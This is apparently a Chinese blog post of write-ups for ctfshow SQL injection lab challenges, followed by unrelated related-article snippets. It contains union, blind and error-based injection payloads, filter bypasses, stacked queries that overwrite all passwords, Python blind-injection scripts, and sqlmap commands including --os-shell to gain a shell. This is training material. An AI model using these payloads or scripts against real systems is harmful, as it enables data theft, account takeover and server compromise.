ctfshow的sql注入解题思路171-211
ctfshow-SQL注入
web171:爆库名->爆表名->爆字段名->爆字段值
-1' union select 1,database() ,3 --+ //返回数据库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+ //获取表内字段名
-1' union select 1,group_concat(字段名1),group_concat(字段名2) from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag
解法2:也可以用万能钥匙-1' or 1=1--+,也可以取到flag
解法3:也可以用或者-1’or username=flag来获取到flag
其他题没有过滤的时候同理
177:这道题目过滤了空格,那我们就可以用"/**/"来代表空格。还有--+,我们可以用%23来代表过滤,然后沿用上面的几个方法都可以找到flag
web178:这道题还是过滤空格,但是把/**/也过滤了,但我们可以利用换行符%09来获取到flag
web179:不知道为啥一下子就出来了
解法2、应该还是过滤空格,不过这次使用%0c来代替空格
web180:用上面的方法都不可以,感觉好像过滤掉了+号,但是我们可以不使用万能钥匙,我们直接使用基本语句-1'or username like 'flag,把空格改为%0c就可以拿到flag了
web181:过滤了很多的参数,空格类的差不多都被禁用了
但是我们可以使用-1'or`username`='flag来获取到flag,或者使用1'or'1'='1'--%0c,也可以获取到flag,但是里面写着禁用0c,却还是可以用,我知道为什么
web182:又过滤了flag,所以不能用181的payload来获取flag了,这一波还是使用万能钥匙-1’or'1'='1'--%01
web183:
web:187
这个这里使用了md5加密,而ffifdyop经过md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是$sql="select password from users where password=''or'<xxx>'"成功绕过。ffifdyop绕过MD5进行sql注入-CSDN博客
web:188
因为他查询的username没有用双引号保护,所以可以令username=0.即可查出。select count(*) from ctfshow_user where username = 0,语句就会变成这样,而0代表搜索所有的字母表。
web189:
提示flag在./api/index.php里,访问api发现有回显
布尔盲注
使用load_file函数读取文件 然后用python进行盲注
web190:
为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误
admin' and '1'='1 密码错误
admin' and '1'='2 用户名不存在
判断出存在注入点
admin' and '1'='1 密码错误 返回值8bef
admin' and '1'='2 用户名不存在 返回值 5728
以上可以证明出可以使用布尔注入 当and后为1为一个页面 当and后为0为一个页面
username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0
返回值8bef 也就是and后语句返回1
username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0
返回值 5728 也就是and后语句返回0
得出flag
# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
# 当前数据库 ctfshow_web
# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
# 当前数据表 ctfshow_fl0g和ctfshow_user
# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
# 当前字段名 id,f1ag
# payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
# 获取flag
import requests
url = "http://72366131-2d1e-4484-9bb5-9c6bbe82b7b3.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):max = 127 #ascii最大值min = 32 #ascii最小值while 1:#无限循环mid = (max+min)>>1 #相当于除2向下取整print("第{}波 max={} min={} mid={} ".format(i,max,min,mid))if(min == mid):#相等也就代表min+1=max max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为cflag += chr(mid)print(flag)break# payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)# 当前数据库 ctfshow_web# payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)# 当前数据表 ctfshow_fl0g和ctfshow_user# payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)# 当前字段名 id,f1ag# payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)# 获取flagpayload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为maxmax = midelse: #返回值为0 <99 将该值设置为minmin = midif mid == 32:# 如果mid的值等于空格 结束最外层循环print("flag={}".format(flag))break
web191:代码如上,把ascii改成ord就可以了,方法一样
web192:ord也被禁用了 hex也被禁用了
那就不用函数 直接判断字符是哪一个
username=admin'and (substr((select database()),1,1)='c')#&password=0
import requests
url = "http://68d5834f-ba36-4b7c-9845-b7e7f717ee00.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):for x in flagdic:# payload = "admin'and (substr((select database()),{},1)='{}')#".format(i,x)# 当前数据库 ctfshow_web# payload = "admin'and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}')#".format(i,x)# 当前数据表 ctfshow_fl0g和ctfshow_user# payload = "admin'and (substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))='{}')#".format(i,x)# 当前字段名 id,f1ag# payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)<{})#".format(i,mid)# 获取flagpayload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flagbreakflag+=xprint(flag)breakif x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束break
web193:过滤了substr,但是我们可以用left来代替substr,其中要注意的是
left:admin'and (left((select database()),{})='{}')#
substr:admin'and (substr((select database()),{},1)='{}')#
substr多了一个序号。
import requests
url = "http://aadbae77-23a2-4f3a-8e40-02523573b6a3.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)# 当前数据库 ctfshow_web# payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)# 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg# payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)# 当前字段名 id,flagpayload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break
web194:left被禁用了,那就使用lpad: "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#和left有所不同,
import requests
url = "http://3e49521e-b292-4475-85ca-144b508f1868.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break
web195:堆叠注入
跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的
(前提依旧是已知一个用户admin)
pass已知后 就能通过这个语句
使用叠加注入 更新所有密码,然后把账户改成0,密码为1即可https://blog.csdn.net/m0_72125469/article/details/135088746
web:196
这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)
可以select绕过password的if判断。
判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。
那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断
197:
这次select彻底被过滤了 并且update也被过滤了
方法1
利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。
用户名:1;show tables
密码:ctfshow_user
有个缺点如果ctfshow_user表不在row【0】的位置那就会失败
注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了
方法2:
web198与web197基本一致,我们可以用insert向ctfshow_user表的username和pass字段中添加值
username 0' insert ctfshow_user(`username`,`pass`) value(1,2)
password 123
在输入用户名为1,密码为2
username 1
password 2
就可以获取flag
web:198
payload:
用户名:1;show tables
密码:ctfshow_user
web:199
payload:
用户名:1;show tables
密码:ctfshow_user
web200:
payload:
用户名:1;show tables
密码:ctfshow_user
web:201
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
2.查询到数据库名是ctshow_web(python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs
)
3.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables查询他的表名
4.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_user -T ctfshow_user --dump
web:202 他叫我们把sqlmap的请求方式改变一下,我们就直接在我们刚刚的基础上再添加一个--data “id=1”就可以了
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" --dbs
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
切记要加上index.php 否则不好使
web203:这道题要求使用method调整sqlmap的请求方式
提示要用--method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交:
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" --dbs
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
web:204这道题要求我们使用cookie来添加
#python.\sqlmap.py - u"http://20815594-bf49-434d-81ff-27084740e293.challenge.ctf.show/api/index.php" - -data"id=1" - -method = PUT - -header = "Content-Type:text/plain" - -cookie = "PHPSESSID=gsalkdjo8546dqc4dhoqt1bc7u; ctfshow=161f311aae7f4a6afff53434bdcb956d" - -user - agent = sqlmap - -referer = "ctf.show" - Dctfshow_web - T
ctfshow_user - -dump
web:205
抓包 估计这就是鉴权的意思 先访问一个指定页面传入cookie 然后才进行传值,就是可以先设置访问一个cookie的地方然后传入cookie这样子,说明每次都会提交到/api/getToken.php
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置几次访问一次鉴权页面
python sqlmap.py -u "http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/index.php"
--data="id=1" --refer="ctf.show"
--method="PUT" --headers="Content-Type:text/plain"
--safe-url="http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/getToken.php"
--safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch
这边会遇到他的表明被改了,我们只需要添加上--tables就可以查询到新的表名是什么,然后进去就好了
web206:用上一个的payload就可以了,但是要记得safeurl要改,然后cookie要改,url要改
这里我测试 不使用cookie也可以 但是必须要有访问鉴权的页面的操作 我查看鉴权页面也需要传入cookie 但是脚本不需要cookie也可以
我是这么理解的 上一题中 api页面会检查cookie 所以必须传入cookie 鉴权页面不需要cookie 但是必须要访问鉴权页面 要有这个过程 这道题api页面不需要cookie
加上多余的操作 就是闭合sql语句
但是准确的做法是
python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump
web:207 --tamper的初体验
这个的使用就是基于sqlmap自带的一个脚本文件,--tamper-space2comment.py,在后面添加一个这个就可以过滤掉空格单引号和双引号。所以这题的payload是
python .\sqlmap.py -u "http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9f8v678b305avu562l4it2e0l2" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump
web208:
python sqlmap.py -u "http://6f26b2b2-7b83-431e-aba9-122bd6d08b17.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --
referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1vrv4fg7q4uid8i1lhma043h20" --safe-url="http://6f26b2b2-7b83-
431e-aba9-122bd6d08b17.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web --tables
这道题不会做,因为不会写脚本,所以直接用了WP,到时候会写脚本了再回来看看
uppercase.py
这道题主要是用了里面的uppercase.py
web:209没搞出来,休息
web:210
他这边
python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web --tables
首先先爆数据库名称,再报表的名称,再爆库的名称,然后三个叠加起来,然后查询,因为有一些地方的数据库名称变了,需要重新再来一遍
python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web -T ctfshow_flavi --columns
web211:爆库名->爆表名->爆字段名->爆字段值,还是样子,用web210的脚本就可以了,因为我抄的别人的脚本,流程和210一模一样
web212:同理
web213:这一次添加了os-shell,os-shell的使用就是在后面直接添加一个--os-shell就可以达到getshell的目的
在遇到这个图之后,前面三个选择默认就可以了,到了最后一个1234的选择2,然后路径输入/var/www/html/
然后就可以getshell了,利用shell进入他的页面输入ls看看有没有东西,发现没有就进入到ls的下个目录,ls /
发现有一额给ctfshow_flag,所以我们再用cat /ctfshow_flag获取到flag的值
web214:页面这边空空如也,用BP抓一下包刷新一下,forward两下,发现有一个POST请求包,然后把debug改为1发现语句变成了SQL语句,存在注入点
把ip改为ip=if(2>1,sleep(3),2),发现他会睡三秒,这时候我们就可以使用时间盲注了
# payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
# print(payload) 用于检测问题的
# 当前数据库 ctfshow_web
# payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前数据表 answer=ctfshow_flagx,ctfshow_info
# payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前字段名 id,flaga,info
#payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)
# 获取flag
web215:加大一点满肚 使用单引号 以及屏蔽了部分内容 思路就是 使用bp抓包 然后 使用简单的if语句 判断 盲注语句格式
需改debug 确实 提示确实使用了单引号
测试
需要注意两点 都是我遇见的问题
第一点 if不要在引号内
第二点 不要使用and 使用or 因为and第一个如果是假的 and后的if不执行
记得要使用#来注释掉后面的内容才可以
web216:用mysql的tobase64
#payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)
# 当前数据库 ctfshow_web
#payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前数据表 answer=ctfshow_flagxcc,ctfshow_info
#payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前字段名 id,flagaac,info
NSSCTF中的堆叠注入
后台的执行逻辑是 select 参数||flag from 表;
这里构造payload *,1 使sql成为 select ,1||flag from 表
其中的 会查询出后面表所有的结果
爆出数据库名字
-1'and(select extractvalue(1,concat('~',(select database()))))# 报错注入
爆出所有数据库名
-1'and(select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
爆出数据库test_db下所有的
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
爆出test_db数据库下test_tb表所有的列名
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#
查询flag
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))# 0-30位 左边30位
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))# 31-60位
相关文章:
ctfshow的sql注入解题思路171-211
ctfshow-SQL注入 web171:爆库名->爆表名->爆字段名->爆字段值 -1 union select 1,database() ,3 -- //返回数据库名 -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema库名 -- //获取数据库里的表名 -…...
深入理解C语言中的静态库与动态库 —— 原理与实践
引言 在 C 语言编程中,库是预编译的代码集合,用于实现特定功能,以供其他程序使用。库可以分为静态库和动态库两种主要类型。静态库在编译阶段被链接到目标程序中,而动态库则是在运行时被加载。本文旨在深入探讨这两种库的工作原理…...
本地缓存库分析(一):golang-lru
文章目录 本地缓存概览golang-lru标准lrulru的操作PutGet 2q:冷热分离lruPutGet expirable_lru:支持过期时间的lruPutGet过期 总结 本地缓存概览 在业务中,一般会将极高频访问的数据缓存到本地。以减少网络IO的开销,下游服务的压…...
qt配置https请求
qt应用版本 windows 32位 先说下心理路程,你能遇到的我都遇到了,你能想到的我都想到了,怎么解决看这一篇就够了,从上午12点到晚上12点几乎没离开电脑(除了吃饭),对于openssl这种用的时候无感&am…...
C语言进阶——文件操作
一、文件的基本知识 1.1什么是文件 在程序设计中,一般谈的文件有两种:程序文件、数据文件。 程序文件:包括源程序文件(后缀为.c),目标文件(windows环境后缀为.obj),可执…...
MYSQL-查看用户权限语法(二十一)
13.7.5.21 SHOW GRANTS 语句 SHOW GRANTS [FOR user]此语句以GRANT语句的形式显示分配给MySQL用户帐户的权限,必须执行GRANT语句才能复制权限分配。 注意 要显示MySQL帐户的非特权信息,请使用SHOW CREATE USER语句。 参见第 13.7.5.12 节“ SHOW CREA…...
在MySQL中存储IP地址的最佳实践
文章目录 一、IP地址的格式二、存储IP地址的数据类型选择1. VARCHAR优点缺点 2. INT 或 BIGINT优点缺点示例 3. VARBINARY优点缺点示例 三、最佳实践建议1. 选择合适的数据类型2. 索引优化3. 数据验证4. 安全性考虑 四、Java支持五、结论 在现代网络应用中,IP地址是…...
Vite打包配置
Vite打包配置 1.项目启动自动打开网页 {"scripts": {"dev": "vite --open"} }2.base配置打包公共路径 配置base选项的作用主要是指定项目在开发或生产环境中的公共基础路径。这个配置项对于确保资源能够正确加载尤为关键,尤其是在…...
node集成redis (教学)
文章目录 前言一、安装redis二、可视化界面测试连接1.vscode安装插件 三、node代码编写1.先安装两个库(redis和ioredis)2.测试连接 (前提是你的redis服务器要启动起来) 总结 前言 在Node.js中集成ioredis是一个常见的做法&#x…...
江协科技STM32学习- P22 实验-ADC单通道/ADC多通道
🚀write in front🚀 🔎大家好,我是黄桃罐头,希望你看完之后,能对你有所帮助,不足请指正!共同学习交流 🎁欢迎各位→点赞👍 收藏⭐️ 留言📝…...
RL学习笔记-马尔可夫过程
参考资料:蘑菇书、周博磊老师课程 在强化学习中,智能体与环境交互是通过马尔可夫决策过程来表示的,因此马尔可夫决策过程是强化学习的基本框架。 马尔可夫性质 指一个随机过程在给定现在状态及所有过去状态情况下,其未来状态的条件…...
LeetCode Hot 100:动态规划
LeetCode Hot 100:动态规划 70. 爬楼梯 class Solution { public:int climbStairs(int n) {if (n 0)return 0;vector<int> dp(n 1);// 初始化dp[0] 1;// 状态转移for (int i 1; i < n; i) {dp[i] dp[i - 1];if (i > 2)dp[i] dp[i - 2];}return …...
使用Python制作雪景图片教程
如果你想用Python写一个程序来输出有关“深夜雪”的诗意文本或描述,可以通过简单的字符串输出来实现。以下是一个示例代码,展示如何用Python来描绘深夜雪的场景。 # 定义深夜雪的描述 description """ 夜幕降临,天空洒下银色…...
S-Function
目录 S-Function介绍 生成S-Function的三种常用手段 使用手写S-函数合并定制代码 使用S-Function Builder块合并定制代码 使用代码继承工具合并定制代码 S-Function介绍 我们可以使用S-Function扩展Simulink对仿真和代码生成的支持。例如,可以使用它们…...
如何具备阅读JAVA JDK虚拟机源码能力
源码位置https://github.com/openjdk/jdk 核心实现源码[部分截图] /* * Copyright (c) 1995, 2024, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistr…...
Python | Leetcode Python题解之第514题自由之路
题目: 题解: Test "godding" target "d"i 0left i lc 0 right i rc 0while Test[left] ! target:left - 1lc 1if left -1:left len(Test) - 1while Test[right] ! target:right 1rc 1if right len(Test):right 0prin…...
Docker 镜像下载问题及解决办法
Docker 镜像下载问题及解决办法 我在杂乱的、破旧的村庄寂寞地走过漫长的雨季,将我年少的眼光从晦暗的日子里打捞出来的是一棵棵开花的树,它们以一串串卓然不俗的花擦明了我的眼睛,也洗净了我的灵魂。 引言 在使用 Docker 时,用户…...
2分钟搞定 HarmonyOs Next创建模拟器
官方文档参考链接: 创建模拟器-管理模拟器-使用模拟器运行应用/服务-应用/服务运行-DevEco Studio - 华为HarmonyOS开发者https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/ide-emulator-create-V5 1. 首先打开Device Manager 2. 进入这个界面后…...
方形件排样优化与订单组批问题探析
方形件排样优化与订单组批问题是计算复杂度很高的组合优化问题,在工业工程中有很广泛的应用背景。为实现个性化定制生产模式,企业会选择订单组批的方式,继而通过排样优化实现批量切割,加工完成后再按照不同客户需求进行分拣&#…...
vue3组件通信--自定义事件
自定义事件是典型的子传父的方法。 为什么叫自定义事件呢?是因为我们用sendToy"getToy"这种格式写,很显然,在DOM中,没有叫sendToy的事件。 父组件FatherComponent.vue: <script setup> import ChildComponent fr…...
ubuntu 安装k3s
配置hostname的方法为 hostnamectl set-hostname k3sserver hostnamectlsudo apt-get update && sudo apt-get upgrade -y sudo apt-get install -y curl#手动下载v1.31.1k3s1 https://github.com/k3s-io/k3s/releases/tag/v1.31.1%2Bk3s1 #将k3s-airgap-images-amd64…...
SQL CHECK 约束:确保数据完整性的关键
SQL CHECK 约束:确保数据完整性的关键 在数据库管理中,确保数据的完整性和准确性是至关重要的。SQL(Structured Query Language)提供了多种约束条件来帮助实现这一目标,其中之一就是 CHECK 约束。本文将深入探讨 SQL CHECK 约束的概念、用法和优势,并展示如何在不同的数…...
C++ | Leetcode C++题解之第502题IPO
题目: 题解: typedef pair<int,int> pii;class Solution { public:int findMaximizedCapital(int k, int w, vector<int>& profits, vector<int>& capital) {int n profits.size();int curr 0;priority_queue<int, vect…...
《虚拟现实的边界:探索虚拟世界的未来可能》
内容概要 在虚拟现实(VR)技术的浪潮中,我们见证了其从实验室的奇想逐渐走向日常生活的非凡旅程。技术发展的背后是不断突破的创新,早期的设备虽然笨重,但如今却趋向精致、轻巧,用户体验显著提升。想象一下…...
Rust教程
2024 Rust现代实用教程:1.1Rust简介与安装更新––2024 Rust现代实用教程:1.2编译器与包管理工具以及开发环境–––––––––––...
测试代理IP的有效性和可用性
使用代理IP的有效性和可用性直接关系到用户的工作效率,尤其是在进行数据抓取、网络爬虫和保护个人隐私等场景中。 一、测试代理IP的必要性 代理IP的可用性测试是确保代理服务正常运行的重要步骤。测试代理IP的必要性主要体现在以下几个方面: 提升工作…...
散列表:为什么经常把散列表和链表放在一起使用?
散列表:为什么经常把散列表和链表放在一起使用? 在计算机科学中,散列表(哈希表)和链表是两种常见的数据结构。你可能会好奇,为什么它们经常被放在一起使用呢?让我们一起来深入探讨这个问题。 一、散列表的特点 散列表是一种根据关键码值(Key value)而直接进行访问的…...
计算机网络:网络层 —— IPv4 地址与 MAC 地址 | ARP 协议
文章目录 IPv4地址与MAC地址的封装位置IPv4地址与MAC地址的关系地址解析协议ARP工作原理ARP高速缓存表 IPv4地址与MAC地址的封装位置 在数据传输过程中,每一层都会添加自己的头部信息,最终形成完整的数据包。具体来说: 应用层生成的应用程序…...
PMP--一、二、三模、冲刺、必刷--分类--10.沟通管理--技巧--文化意识
文章目录 技巧一模10.沟通管理--1.规划沟通管理--文化意识--军事背景和非军事背景人员有文化差异文化意识:题干关键词 “两拨人的背景不同、文化差异、风格差异”。5、 [单选] 项目团队由前军事和非军事小组成员组成。没有军事背景的团队成员认为前军事团队成员在他…...
FileReader和FileWriter
FileReader 使用read()方法读取单个字符,下面是如何修改使程序性能更好的过程。 第一种:处理异常方式为throws Testpublic void test() throws IOException {//读取hello.txt,并显示内容// 创建文件对象File file new File("hello.txt…...
网站开发对企业的关键/百度关键词搜索热度
2019独角兽企业重金招聘Python工程师标准>>> 序言 摘要: 最近一直在写一个脚本语言,主要对标对象是润乾的集算器、Python等。感觉润乾的集算器有一定的应用场景,但是类似excel的方式严重影响编程可接受程度,另外其有些语法感觉与j…...
网站建设规划方案ppt/抖音自动推广引流app
/ 网站根路径 ./ 当前路径 ../ 上一级路径 ../../ 上两级路径 例如:本地静态网站 index页面地址 127.0.0.1/bootstrap_test/index.html在这里页面里面引入css和js路径应该怎么写呢? 1、 <link href"css/bootstrap.min.css" rel"style…...
商城网站建站方案/石家庄新闻网头条新闻
一、调试前提 1. Hardware 720p的DSI接口屏hx8394d,MIPI接口相关原理图如下图 通过原理图获取的信息: 1)2.8V VDD供电脚 —— LDO17; 2)1.8V VDD供电脚 —— LDO6; 3)RESET脚 —— GPIO25; 4)TE脚(一般DSI CMD模式下才会使用)—— GPIO24; 5)背光使能脚 —— G…...
wordpress 游客留言/怎么自己开网站
